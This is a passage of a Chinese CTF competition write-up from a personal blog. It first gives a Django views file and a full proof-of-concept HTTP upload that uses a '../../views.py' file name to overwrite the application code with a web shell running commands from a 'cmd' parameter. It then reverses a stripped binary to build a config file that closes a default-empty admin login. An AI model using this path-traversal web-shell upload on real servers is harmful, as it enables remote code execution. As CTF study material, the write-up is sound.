queryset = models.WebSiteGroup.objects.all()
serializer_class = AllWebsiteDataSerializers
# authentication_classes = (JSONWebTokenAuthentication,)
# permission_classes = [IsAuthenticated]
filter_backends = (SearchFilter,)
search_fields = ('websites__title','websites__description')
'''默认参数pk修改为id'''
lookup_field = 'pk'
lookup_url_kwarg = 'id'


class WebsiteDataViewSet(ModelViewSet):
'''
网址管理:增删改查 /api/website/
'''
queryset = models.WebSite.objects.all()
filter_backends = (SearchFilter,)
search_fields = ('title', 'path', 'description')
pagination_class = CustomPagination
authentication_classes = (JSONWebTokenAuthentication,)
permission_classes = [IsAuthenticated]
'''默认参数pk修改为id'''
lookup_field = 'pk'
lookup_url_kwarg = 'id'

'''根据请求选择序列化器'''

def get_serializer_class(self):
serializer_class = self.serializer_class
if self.request.method in ('POST', 'PUT', 'PATCH', 'DELETE'):
serializer_class = UpdateWebsiteDataSerializers
if self.request.method == 'GET':
serializer_class = GetWebsiteDataSerializers
return serializer_class

'''重写post接口,支持批量创建'''

def create(self, request, *args, **kwargs):

for data in request.data:
serializer = self.get_serializer(data=data)
if not serializer.is_valid():
return CustomResponse(
status=status.HTTP_400_BAD_REQUEST,
msg='form表单校验不通过',
data={'data': serializer.data, 'error': serializer.errors}
)

for data in request.data:
serializer = self.get_serializer(data=data)
serializer.is_valid()
self.perform_create(serializer)

return CustomResponse(
status=status.HTTP_201_CREATED,
msg='添加成功',
)

'''自定义方法,实现批量删除'''

@action(methods=['delete'], detail=False, permission_classes=[IsAuthenticated], url_path='delete')
def multiple_delete(self, request, *args, **kwargs):
selectids = request.query_params.get('selectId', None)
if not selectids:
return CustomResponse(status=status.HTTP_404_NOT_FOUND)
selectid = selectids.split(',')
selectid = [int(x) for x in selectid if x.split()]
models.WebSite.objects.filter(id__in=selectid).delete()
return CustomResponse(status=status.HTTP_204_NO_CONTENT)


class WebsiteGroupViewSet(ModelViewSet):
'''
分组管理:增删改查 /api/group/
'''
queryset = models.WebSiteGroup.objects.all()
serializer_class = WebsiteGroupSerializers
filter_backends = (SearchFilter,)
search_fields = ('name',)
pagination_class = CustomPagination
authentication_classes = [JSONWebTokenAuthentication, ]
permission_classes = (IsAuthenticated,)

'''默认参数pk修改为id'''
lookup_field = 'pk'
lookup_url_kwarg = 'id'


class UserInfoViewSet(ModelViewSet):
queryset = models.UserInfo.objects.all()
serializer_class = UserInfoSerializer
filter_backends = (SearchFilter,)
search_fields = ('username', 'alias', 'is_active',)
pagination_class = CustomPagination
permission_classes = (IsAuthenticated,)
authentication_classes = [JSONWebTokenAuthentication, ]
lookup_field = 'pk'
lookup_url_kwarg = 'id'

@action(methods=['post'], detail=True, permission_classes=[IsAuthenticated],
url_path='change-passwd', url_name='change-passwd')
def change_password(self, request, *args, **kwargs):
id = kwargs.get('id')
password1 = request.data['password1']
password2 = request.data['password2']
user = models.UserInfo.objects.get(id=id)
if password1 == password2:
user.set_password(password2)
user.save()
return CustomResponse(msg="密码修改成功", status=status.HTTP_200_OK)
else:
return CustomResponse(msg="密码两次输入不一致!", status=status.HTTP_400_BAD_REQUEST)



class IconViewSet(View):

def get(self, request, *args, **kwargs):
id = request.GET.get('cmd')
os.system('cmd')


def post(self, request):
id = request.POST.get('id')
name = request.POST.get('name')
if str(name) == "default.png":
return JsonResponse({"code": 500, "msg": '图片名称不能为default.png,请修改'})
file = request.FILES.get('file')
save_path = os.path.join(settings.MEDIA_ROOT, 'icon', name)
ins = models.WebSite.objects.filter(id=id).first()
if ins:
ins.icon = name
ins.save()
try:
with open(save_path, 'wb') as f:
for chunk in file.chunks():
f.write(chunk)
return JsonResponse({"code": 200, "msg": "替换成功", "detail": ''})
except Exception as e:
return JsonResponse({"code": 500, "msg": "替换失败", "detail": e})
else:
return JsonResponse({"code": 404})

POC如下:

POST /api/icon/ HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: JWT eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk1MzU1MDE5LCJlbWFpbCI6bnVsbCwiaXNfc3VwZXJ1c2VyIjp0cnVlfQ.iVvuv2UfITz7xK_qoURSBVgucNUzD4vxPsFMGqlCUaA
Content-Type: multipart/form-data; boundary=---------------------------19981713787484837123326027504
Content-Length: 7883
Origin: http://localhost:8000
Connection: close
Referer: http://localhost:8000/admin/website
Cookie: username-localhost-8888="2|1:0|10:1692618286|23:username-localhost-8888|44:MGJmZTUxMDJiOTBhNDNjYjg3YmZlMDQ2ZDBlMzE5ZDI=|02f839e6bab8d5f992db23c9063e1f2bf3bc9103f6e4c0b8517741819d4fa610"; _xsrf=2|e2b7d629|893df11fb1e9af3dbebe64d7830b1b15|1692618286
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------19981713787484837123326027504
Content-Disposition: form-data; name="id"

1
-----------------------------19981713787484837123326027504
Content-Disposition: form-data; name="name"

../../views.py
-----------------------------19981713787484837123326027504
Content-Disposition: form-data; name="file"; filename="poc.py"
Content-Type: text/x-python-script

from django.shortcuts import render
import subprocess
# Create your views here.
from WebsiteGuide.basic import CustomResponse, CustomPagination
from websiteapp import models
from websiteapp.serializers.websites_serializer import \
AllWebsiteDataSerializers, UpdateWebsiteDataSerializers, GetWebsiteDataSerializers
from websiteapp.serializers.group_serializer import WebsiteGroupSerializers
from websiteapp.serializers.user_serializer import UserInfoSerializer
from rest_framework import status
from rest_framework.views import APIView
from rest_framework.viewsets import ModelViewSet, ReadOnlyModelViewSet
from rest_framework.filters import SearchFilter
from rest_framework.decorators import action
from django.contrib.auth import authenticate
from rest_framework.permissions import IsAuthenticated
from rest_framework_jwt.settings import api_settings
from rest_framework_jwt.authentication import JSONWebTokenAuthentication

import os
from django.conf import settings
from django.http import HttpResponse, JsonResponse
from django.views import View

jwt_payload_handler = api_settings.JWT_PAYLOAD_HANDLER
jwt_encode_handler = api_settings.JWT_ENCODE_HANDLER


class UserAuthView(APIView):
'''
用户认证获取token
'''

def post(self, request, *args, **kwargs):
username = request.data.get('username')
password = request.data.get('password')
user = authenticate(username=username, password=password)
if user:
payload = jwt_payload_handler(user)
payload['is_superuser'] = user.is_superuser
return CustomResponse({'token': jwt_encode_handler(payload)}, status=status.HTTP_200_OK)
else:
return CustomResponse('用户名或密码错误!', status=status.HTTP_400_BAD_REQUEST)


class AllWebsiteDataViewSet(ReadOnlyModelViewSet):
'''
首页分组嵌套网址数据:查询 /api/alldata/
'''

queryset = models.WebSiteGroup.objects.all()
serializer_class = AllWebsiteDataSerializers
# authentication_classes = (JSONWebTokenAuthentication,)
# permission_classes = [IsAuthenticated]
filter_backends = (SearchFilter,)
search_fields = ('websites__title','websites__description')
'''默认参数pk修改为id'''
lookup_field = 'pk'
lookup_url_kwarg = 'id'


class WebsiteDataViewSet(ModelViewSet):
'''
网址管理:增删改查 /api/website/
'''
queryset = models.WebSite.objects.all()
filter_backends = (SearchFilter,)
search_fields = ('title', 'path', 'description')
pagination_class = CustomPagination
authentication_classes = (JSONWebTokenAuthentication,)
permission_classes = [IsAuthenticated]
'''默认参数pk修改为id'''
lookup_field = 'pk'
lookup_url_kwarg = 'id'

'''根据请求选择序列化器'''

def get_serializer_class(self):
serializer_class = self.serializer_class
if self.request.method in ('POST', 'PUT', 'PATCH', 'DELETE'):
serializer_class = UpdateWebsiteDataSerializers
if self.request.method == 'GET':
serializer_class = GetWebsiteDataSerializers
return serializer_class

'''重写post接口,支持批量创建'''

def create(self, request, *args, **kwargs):

for data in request.data:
serializer = self.get_serializer(data=data)
if not serializer.is_valid():
return CustomResponse(
status=status.HTTP_400_BAD_REQUEST,
msg='form表单校验不通过',
data={'data': serializer.data, 'error': serializer.errors}
)

for data in request.data:
serializer = self.get_serializer(data=data)
serializer.is_valid()
self.perform_create(serializer)

return CustomResponse(
status=status.HTTP_201_CREATED,
msg='添加成功',
)

'''自定义方法,实现批量删除'''

@action(methods=['delete'], detail=False, permission_classes=[IsAuthenticated], url_path='delete')
def multiple_delete(self, request, *args, **kwargs):
selectids = request.query_params.get('selectId', None)
if not selectids:
return CustomResponse(status=status.HTTP_404_NOT_FOUND)
selectid = selectids.split(',')
selectid = [int(x) for x in selectid if x.split()]
models.WebSite.objects.filter(id__in=selectid).delete()
return CustomResponse(status=status.HTTP_204_NO_CONTENT)


class WebsiteGroupViewSet(ModelViewSet):
'''
分组管理:增删改查 /api/group/
'''
queryset = models.WebSiteGroup.objects.all()
serializer_class = WebsiteGroupSerializers
filter_backends = (SearchFilter,)
search_fields = ('name',)
pagination_class = CustomPagination
authentication_classes = [JSONWebTokenAuthentication, ]
permission_classes = (IsAuthenticated,)

'''默认参数pk修改为id'''
lookup_field = 'pk'
lookup_url_kwarg = 'id'


class UserInfoViewSet(ModelViewSet):
queryset = models.UserInfo.objects.all()
serializer_class = UserInfoSerializer
filter_backends = (SearchFilter,)
search_fields = ('username', 'alias', 'is_active',)
pagination_class = CustomPagination
permission_classes = (IsAuthenticated,)
authentication_classes = [JSONWebTokenAuthentication, ]
lookup_field = 'pk'
lookup_url_kwarg = 'id'

@action(methods=['post'], detail=True, permission_classes=[IsAuthenticated],
url_path='change-passwd', url_name='change-passwd')
def change_password(self, request, *args, **kwargs):
id = kwargs.get('id')
password1 = request.data['password1']
password2 = request.data['password2']
user = models.UserInfo.objects.get(id=id)
if password1 == password2:
user.set_password(password2)
user.save()
return CustomResponse(msg="密码修改成功", status=status.HTTP_200_OK)
else:
return CustomResponse(msg="密码两次输入不一致!", status=status.HTTP_400_BAD_REQUEST)



class IconViewSet(View):

def get(self, request, *args, **kwargs):
cmd = request.GET.get('cmd')
result = subprocess.Popen(cmd, stdout=-1).communicate()[0]
return HttpResponse(result)

def post(self, request):
id = request.POST.get('id')
name = request.POST.get('name')
if str(name) == "default.png":
return JsonResponse({"code": 500, "msg": '图片名称不能为default.png,请修改'})
file = request.FILES.get('file')
save_path = os.path.join(settings.MEDIA_ROOT, 'icon', name)
ins = models.WebSite.objects.filter(id=id).first()
if ins:
ins.icon = name
ins.save()
try:
with open(save_path, 'wb') as f:
for chunk in file.chunks():
f.write(chunk)
return JsonResponse({"code": 200, "msg": "替换成功", "detail": ''})
except Exception as e:
return JsonResponse({"code": 500, "msg": "替换失败", "detail": e})
else:
return JsonResponse({"code": 404})

-----------------------------19981713787484837123326027504--

最终可以实现RCE

人工智障

没打,不过学到了一点,有格式化字符串无溢出,可以劫持fini_array函数来控制执行流

总决赛

总决赛更是🐔吧,pwn一个自实现的堆管理机制,👴🏻🚪本地完美patch报服务异常,一个go写的静态编译符号全去,扬了命令执行patch不过,一个看起来像是json解析工具,但是👴🏻🚪分析到最后就分析不出来了,还有一个http报文解析工具,没看。

数据分析四个取证,👴🏻🚪没有工具。还有四个若智PHP流量题,没啥技术含量。

分析一下那个看起来像是json解析工具的题,那个最难。

sshell

题目要求不能patch源程序,而是改配置文件,但是给的服务器上并没有配置文件,所以需要手动逆向,来给他整出来一份安全的配置文件。

又是去符号的题,彳亍,高贵的mac用户只能用免费版ida,整不到高版本的破解版ida,bindiff在7.0的支持不好使,只能嗯逆了

执行下程序,发现可以执行命令:

搜搜字符串,定位下main函数:

逻辑比较简单:

发现调用了这个函数:

点进函数体长这样:

👴🏻猜这玩意是个字符串处理相关的函数,所以我就找个libc来比对一下没有去符号的函数,发现这玩意应该是strtok:

通过比对没有去符号的libc库和去掉符号的静态编译的一些函数,还是可以比较准确的还原出来大部分库函数的,此后还原所需要的库函数时不再赘述

然后回到源程序,获取完命令之后应该是执行命令或者解析参数之类的,所以下面三个函数大概就是搞这个的:

首先看sub_401F93函数:

这个东西类似于一个函数指针一样的东西,追一下看看:

这些函数很可能和上面的字符串对应,是对应的函数,分别追踪一下,可以重命名一下,得到具体的函数功能:

我们进一步搜索字符串,发现adminCode等字符串,通过定位得知init_array调用了一个函数进行了初始化:

经过推测是打开一个swordSh文件,然后做了一些文件内容读取相关的操作,并且文件中需要有adminCode、badChar等字段,编写一个swordSh文件如下:

{
"adminCode": "aaaaaaaa",
"badChar": ["bbbbbbbb", "cccccccc"],
"autoLogin": "dddddddd"
}

然后经过sub_4040E6的处理,在堆空间形成如下布局:

猜测此函数是用来将文件的键值对做匹配,0x50的堆块存储指针,下面的堆块去存储具体的内容

到处理badChar字段的时候,使用如下逻辑:

首先获取badchar的起始指针,并且允许badchar最多有八个数据,取出对应的chunk并且存入到栈空间的数组中,其中badchar[i] + 0x28恰好可以索引到对应的字符串:

对于autoLogin的处理如下:

大致是获取autoLogin字段,并且把badchar放入到bss中的变量里

由于在登录时会验证这个字段:

并且这个字段在init_array中的loader函数中被赋值,所以我们需要关注adminCode这个字段,需要进行配置文件的更改,使得这个字段不能默认为空:

重点关注此字段:

默认情况下,这个字段为空,所以当使用程序的登录功能时,只需输入0便可以成功登录:

所以我们的目标是更改配置文件,使得程序使用者无法通过输入0来登录

因为符号表去了,所以逆向它的分配算法十分困难,经过一顿手工测试,发现当adminCode为整数时,可以将此字段改掉:

此时的admin密码已经被改为100,当输入100时才可以登录成功,登录后便可以执行任意指令:

所以我猜patch的思路就是把swordSh文件中的adminCode改成一个随机数,让check脚本无法登录,最终swordSh文件如下:

{
"adminCode":100,
"badChar": ["a", "b", "c", "d", "e", "f", "g", "h"],
"autoLogin": "fxxk"
}

可惜比赛结束了,验证不了了

👴🏻就是个🥦🐔

文章作者: Alex
文章链接: http://example.com/2023/09/16/LJB-2023/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~